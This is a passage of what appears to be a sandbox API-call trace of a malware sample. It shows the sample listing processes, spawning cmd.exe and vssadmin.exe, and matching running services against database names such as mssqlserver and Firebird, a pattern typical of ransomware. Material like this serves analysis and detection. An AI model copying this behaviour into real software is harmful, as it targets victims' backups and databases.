cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.685] lstrlenW (lpString="dwm.exe") returned 7 [0051.685] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.685] lstrlenW (lpString="explorer.exe") returned 12 [0051.685] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.686] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.686] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.686] lstrlenW (lpString="taskhost.exe") returned 12 [0051.686] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.686] lstrlenW (lpString="svchost.exe") returned 11 [0051.686] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.686] lstrlenW (lpString="taskeng.exe") returned 11 [0051.687] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.687] lstrlenW (lpString="taskhost.exe") returned 12 [0051.687] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0051.687] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0051.687] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0051.687] lstrlenW (lpString="noticed.exe") returned 11 [0051.687] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0051.688] lstrlenW (lpString="uploaded.exe") returned 12 [0051.688] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0051.688] lstrlenW (lpString="hardware.exe") returned 12 [0051.688] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0051.688] lstrlenW (lpString="oracle.exe") returned 10 [0051.688] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0051.689] lstrlenW (lpString="creativity.exe") returned 14 [0051.689] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0051.689] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0051.689] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0051.689] lstrlenW (lpString="edited.exe") returned 10 [0051.689] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0051.690] lstrlenW (lpString="custody.exe") returned 11 [0051.690] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0051.690] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0051.690] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0051.690] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0051.690] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0051.690] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0051.690] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0051.691] lstrlenW (lpString="radius.exe") returned 10 [0051.691] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0051.691] lstrlenW (lpString="extensions.exe") returned 14 [0051.691] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0051.691] lstrlenW (lpString="desperate.exe") returned 13 [0051.691] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0051.692] lstrlenW (lpString="professor-mo.exe") returned 16 [0051.692] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0051.692] lstrlenW (lpString="guidance.exe") returned 12 [0051.692] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0051.692] lstrlenW (lpString="week.exe") returned 8 [0051.692] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0051.692] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0051.693] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0051.693] lstrlenW (lpString="sn featured.exe") returned 15 [0051.693] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0051.693] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0051.693] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0051.693] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0051.693] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.694] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.694] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0051.694] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0051.694] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.694] lstrlenW (lpString="cmd.exe") returned 7 [0051.694] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.695] lstrlenW (lpString="conhost.exe") returned 11 [0051.695] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.695] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.695] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.695] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.695] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.695] lstrlenW (lpString="svchost.exe") returned 11 [0051.695] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.696] CloseHandle (hObject=0x3e8) returned 1 [0051.696] Sleep (dwMilliseconds=0x1f4) [0052.369] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297ae0 [0052.370] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0052.370] GetLastError () returned 0xea [0052.370] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x53a0068 [0052.370] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0068, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0068, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0052.371] CloseServiceHandle (hSCObject=0x3297ae0) returned 1 [0052.371] lstrlenW (lpString="Appinfo") returned 7 [0052.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.372] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.372] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.372] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.372] lstrlenW (lpString="AudioSrv") returned 8 [0052.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.372] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.372] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.372] lstrlenW (lpString="BFE") returned 3 [0052.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.372] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.372] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.372] lstrlenW (lpString="CryptSvc") returned 8 [0052.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.372] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.372] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.372] lstrlenW (lpString="CscService") returned 10 [0052.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.372] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.372] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.372] lstrlenW (lpString="DcomLaunch") returned 10 [0052.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.373] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.373] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.373] lstrlenW (lpString="Dhcp") returned 4 [0052.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.373] lstrlenW (lpString="Dnscache") returned 8 [0052.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.373] lstrlenW (lpString="DPS") returned 3 [0052.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.373] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.373] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.373] lstrlenW (lpString="eventlog") returned 8 [0052.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.373] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.373] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.373] lstrlenW (lpString="EventSystem") returned 11 [0052.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.374] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.374] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.374] lstrlenW (lpString="gpsvc") returned 5 [0052.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.374] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.374] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.374] lstrlenW (lpString="iphlpsvc") returned 8 [0052.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.374] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.374] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.374] lstrlenW (lpString="LanmanServer") returned 12 [0052.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.374] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.374] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.374] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.374] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.374] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.374] lstrlenW (lpString="lmhosts") returned 7 [0052.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.374] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.375] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.375] lstrlenW (lpString="MMCSS") returned 5 [0052.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.375] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.375] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.375] lstrlenW (lpString="MpsSvc") returned 6 [0052.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.375] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.375] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.375] lstrlenW (lpString="Netman") returned 6 [0052.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.375] lstrlenW (lpString="netprofm") returned 8 [0052.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.375] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.375] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.375] lstrlenW (lpString="NlaSvc") returned 6 [0052.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.376] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.376] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.376] lstrlenW (lpString="nsi") returned 3 [0052.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.376] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.376] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.376] lstrlenW (lpString="PcaSvc") returned 6 [0052.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.376] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.377] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.377] lstrlenW (lpString="PlugPlay") returned 8 [0052.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.377] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.377] 